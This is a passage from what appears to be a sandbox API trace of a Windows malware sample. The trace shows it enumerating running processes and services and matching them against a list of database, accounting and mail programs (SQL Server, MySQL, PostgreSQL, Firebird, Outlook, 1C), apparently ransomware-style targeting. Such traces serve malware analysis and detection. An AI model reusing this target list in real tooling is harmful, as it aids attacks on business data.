th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.028] lstrlenW (lpString="System") returned 6 [0167.028] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0167.028] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0167.028] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0167.028] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0167.028] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0167.028] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0167.028] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0167.028] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.028] lstrlenW (lpString="smss.exe") returned 8 [0167.028] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0167.028] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0167.028] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0167.029] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0167.029] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0167.029] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0167.029] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0167.029] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.029] lstrlenW (lpString="csrss.exe") returned 9 [0167.029] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.029] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.029] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.029] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.029] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.029] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.029] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0167.029] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.029] lstrlenW (lpString="wininit.exe") returned 11 [0167.030] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0167.030] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0167.030] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0167.030] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0167.030] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0167.030] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0167.030] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0167.030] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.030] lstrlenW (lpString="csrss.exe") returned 9 [0167.030] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.030] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.030] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.030] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.030] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.030] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.030] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.031] lstrlenW (lpString="winlogon.exe") returned 12 [0167.031] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.031] lstrlenW (lpString="services.exe") returned 12 [0167.031] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.031] lstrlenW (lpString="lsass.exe") returned 9 [0167.031] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0167.032] lstrlenW (lpString="lsm.exe") returned 7 [0167.032] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.032] lstrlenW (lpString="svchost.exe") returned 11 [0167.032] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.032] lstrlenW (lpString="svchost.exe") returned 11 [0167.032] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.033] lstrlenW (lpString="svchost.exe") returned 11 [0167.033] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.033] lstrlenW (lpString="svchost.exe") returned 11 [0167.033] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.033] lstrlenW (lpString="svchost.exe") returned 11 [0167.033] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.034] lstrlenW (lpString="audiodg.exe") returned 11 [0167.034] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.034] lstrlenW (lpString="svchost.exe") returned 11 [0167.034] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.034] lstrlenW (lpString="explorer.exe") returned 12 [0167.034] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.035] lstrlenW (lpString="dwm.exe") returned 7 [0167.035] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.035] lstrlenW (lpString="svchost.exe") returned 11 [0167.035] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0167.035] lstrlenW (lpString="n.exe") returned 5 [0167.035] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.036] lstrlenW (lpString="spoolsv.exe") returned 11 [0167.036] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.036] lstrlenW (lpString="svchost.exe") returned 11 [0167.036] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.036] lstrlenW (lpString="taskhost.exe") returned 12 [0167.037] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0167.037] lstrlenW (lpString="reader_sl.exe") returned 13 [0167.037] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0167.037] lstrlenW (lpString="n.exe") returned 5 [0167.037] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0167.038] lstrlenW (lpString="n.exe") returned 5 [0167.038] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0167.038] CloseHandle (hObject=0x2dc) returned 1 [0167.038] Sleep (dwMilliseconds=0x1f4) [0167.637] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f9640 [0167.637] EnumServicesStatusExW (in: hSCManager=0x42f9640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0167.637] GetLastError () returned 0xea [0167.637] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x42de628 [0167.638] EnumServicesStatusExW (in: hSCManager=0x42f9640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42de628, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42de628, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0167.638] CloseServiceHandle (hSCObject=0x42f9640) returned 1 [0167.638] lstrlenW (lpString="Appinfo") returned 7 [0167.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0167.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0167.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0167.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0167.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0167.639] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0167.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.639] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0167.639] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0167.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0167.639] lstrlenW (lpString="AudioSrv") returned 8 [0167.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0167.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0167.639] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0167.639] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0167.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0167.639] lstrlenW (lpString="BFE") returned 3 [0167.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0167.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0167.639] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0167.639] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0167.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0167.639] lstrlenW (lpString="CryptSvc") returned 8 [0167.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0167.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0167.639] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0167.639] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0167.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0167.639] lstrlenW (lpString="CscService") returned 10 [0167.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0167.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0167.640] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0167.640] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0167.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0167.640] lstrlenW (lpString="DcomLaunch") returned 10 [0167.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.640] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0167.640] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0167.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0167.640] lstrlenW (lpString="Dhcp") returned 4 [0167.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0167.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0167.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0167.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0167.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0167.640] lstrlenW (lpString="Dnscache") returned 8 [0167.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0167.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0167.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0167.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0167.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0167.640] lstrlenW (lpString="DPS") returned 3 [0167.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0167.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0167.640] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0167.640] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0167.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0167.640] lstrlenW (lpString="eventlog") returned 8 [0167.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0167.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0167.641] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0167.641] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0167.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0167.641] lstrlenW (lpString="EventSystem") returned 11 [0167.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0167.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0167.641] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0167.641] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0167.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0167.641] lstrlenW (lpString="gpsvc") returned 5 [0167.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0167.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0167.641] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0167.641] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0167.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0167.641] lstrlenW (lpString="iphlpsvc") returned 8 [0167.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.641] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0167.641] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0167.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0167.641] lstrlenW (lpString="LanmanServer") returned 12 [0167.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0167.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0167.641] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0167.641] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0167.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0167.641] lstrlenW (lpString="LanmanWorkstation") returned 17 [0167.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.641] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0167.642] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0167.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0167.642] lstrlenW (lpString="lmhosts") returned 7 [0167.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0167.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0167.642] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0167.642] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0167.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0167.642] lstrlenW (lpString="MMCSS") returned 5 [0167.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0167.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0167.642] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0167.642] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0167.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0167.642] lstrlenW (lpString="MpsSvc") returned 6 [0167.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0167.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0167.642] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0167.642] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0167.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0167.642] lstrlenW (lpString="Netman") returned 6 [0167.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0167.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0167.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0167.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0167.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0167.642] lstrlenW (lpString="netprofm") returned 8 [0167.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0167.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0167.642] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0167.643] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0167.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0167.643] lstrlenW (lpString="NlaSvc") returned 6 [0167.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0167.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0167.643] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0167.643] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0167.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0167.643] lstrlenW (lpString="nsi") returned 3 [0167.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0167.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0167.643] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0167.643] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0167.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0167.643] lstrlenW (lpString="PcaSvc") returned 6 [0167.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0167.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0167.643] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0167.643] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0167.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0167.643] lstrlenW (lpString="PlugPlay") returned 8 [0167.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0167.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0167.643] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0167.643] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0167.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0167.643] lstrlenW (lpString="Power") returned 5 [0167.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0167.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0167.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0167.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0167.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0167.644] lstrlenW (lpString="ProfSvc") returned 7 [0167.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0167.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0167.644] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0167.644] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0167.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0167.644] lstrlenW (lpString="RpcEptMapper") returned 12 [0167.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 